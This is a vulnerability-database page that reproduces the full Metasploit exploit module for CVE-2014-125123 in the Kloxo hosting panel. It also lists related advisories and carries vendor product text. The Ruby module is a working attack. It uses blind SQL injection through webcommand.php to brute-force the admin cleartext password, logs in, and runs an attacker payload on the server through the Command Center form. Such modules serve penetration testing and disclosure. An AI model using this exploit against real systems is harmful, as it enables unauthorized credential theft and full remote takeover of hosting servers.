Lucene search
+L

Kloxo SQL Injection and Remote Code Execution

🗓️ 28 Jan 2014 00:00:00Reported by Unknown, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 20 Views

Kloxo SQL Injection and Remote Code Execution vulnerability in Command Center

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2014-125123
29 May 201815:50
circl
cnnvd
CNNVD
Kloxo 安全漏洞
31 Jul 202500:00
cnnvd
cve
CVE
CVE-2014-125123
31 Jul 202514:57
cve
cvelist
Cvelist
CVE-2014-125123 Kloxo < 6.1.12 Unauthenticated SQL Injection RCE
31 Jul 202514:57
cvelist
euvd
EUVD
EUVD-2014-9816
7 Oct 202500:30
euvd
nvd
NVD
CVE-2014-125123
31 Jul 202515:15
nvd
ptsecurity
Positive Technologies
PT-2025-31543 · Undefined · Undefined
31 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2014-125123
2 Aug 202520:23
redhatcve
vulncheck_kev
VulnCheck KEV
VulnCheck KEV: CVE-2014-125123
31 Jul 202500:00
vulncheck_kev
vulnrichment
Vulnrichment
CVE-2014-125123 Kloxo < 6.1.12 Unauthenticated SQL Injection RCE
31 Jul 202514:57
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  Rank = ManualRanking
  PASSWORD_PREFIX = '__lxen:'
  BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='

  attr_accessor :password
  attr_accessor :session
  attr_accessor :server

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kloxo SQL Injection and Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
          exploited in the wild on January 2014. The SQL injection issue can be abused in order to
          retrieve the Kloxo admin cleartext password from the database. With admin access to the
          web control panel, remote PHP code execution can be achieved by abusing the Command Center
          function. The module tries to find the first server in the tree view, unless the server
          information is provided, in which case it executes the payload there.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Unknown', # Discovery, exploit in the wild
          'juan vazquez' # Metasploit Module
        ],
        'References' => [
          ['CVE', '2014-125123'],
          ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
          ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'],           # kloxo exploited in the wild
          ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646']    # patch discussion
        ],
        'Arch' => ARCH_CMD,
        'Platform' => 'unix',
        'Payload' => {
          'Space' => 262144, # 256k
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl python gawk netcat'
                        }
        },
        'Targets' => [
          ['Kloxo / CentOS', {}]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2014-01-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7778),
        OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('SERVER_CLASS', [false, 'The server class']),
        OptString.new('SERVER_NAME', [false, 'The server name'])
      ]
    )
  end

  def check
    return Exploit::CheckCode::Safe('The target is not vulnerable') unless webcommand_exists?
    return Exploit::CheckCode::Safe('The target is not vulnerable') if exploit_sqli(1, bad_char(0))
    return Exploit::CheckCode::Safe('The target is not vulnerable') unless pefix_found?

    Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  def exploit
    fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable

    print_status("Recovering the admin password with SQLi...")
    loot = base64_password
    fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
    @password = Rex::Text.decode_base64(loot)
    print_good("Password recovered: #{@password}")

    print_status("Logging into the Control Panel...")
    @session = send_login
    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?

    store_valid_credential(user: 'admin', private: @password)

    print_status("Retrieving the server name...")
    @server = server_info
    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?

    print_status("Exploiting...")
    send_command(payload.encoded)
  end

  def send_login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
      'vars_post' =>
        {
          'frm_clientname' => 'admin',
          'frm_password' => @password,
          'login' => 'Login'
        }
    )

    if res && res.code == 302 && res.headers.include?('Set-Cookie')
      return res.get_cookies
    end

    nil
  end

  def server_info
    unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
      return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.to_s, 'display.php'),
      'cookie' => @session,
      'vars_get' =>
        {
          'frm_action' => 'show'
        }
    })

    if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
      return parse_display_info(res.body.to_s)
    end

    nil
  end

  def parse_display_info(html)
    server_info = {}
    pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)

    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
      return nil
    else
      server_info[:class] = $1
    end

    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
      return nil
    else
      server_info[:name] = $1
    end

    server_info
  end

  def send_command(command)
    data = Rex::MIME::Message.new
    data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
    data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
    data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
    data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
    data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
    data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
    data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')

    post_data = data.to_s

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path.to_s, 'display.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => @session,
      'data' => post_data
    }, 1)
  end

  def webcommand_exists?
    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))

    if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
      return true
    end

    false
  end

  def pefix_found?
    i = 1
    PASSWORD_PREFIX.each_char do |c|
      return false unless exploit_sqli(i, c)

      i = i + 1
    end

    true
  end

  def bad_char(pos)
    Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
  end

  def ascii(char)
    char.unpack('C')[0]
  end

  def base64_password
    i = PASSWORD_PREFIX.length + 1
    loot = ''

    until exploit_sqli(i, "\x00")
      vprint_status("Brute forcing position #{i}")
      c = brute_force_char(i)
      if c.nil?
        return nil
      else
        loot << c
      end

      vprint_status("Found: #{loot}")
      i = i + 1
    end

    loot
  end

  def brute_force_char(pos)
    BASE64_RANGE.each_char do |c|
      return c if exploit_sqli(pos, c)
    end

    nil
  end

  def exploit_sqli(pos, char)
    # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
    sqli = "al5i' "
    sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
    sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
      'vars_get' =>
        {
          'login-class' => 'client',
          'login-name' => sqli,
          'login-password' => '123456'
        }
    )

    if res && res.code == 200 && res.body.blank?
      return true
    elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
      return false
    end

    vprint_warning("Unknown fingerprint while exploiting SQLi... be careful")
    false
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jan 2014 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 410
EPSS0.00696
SSVC
20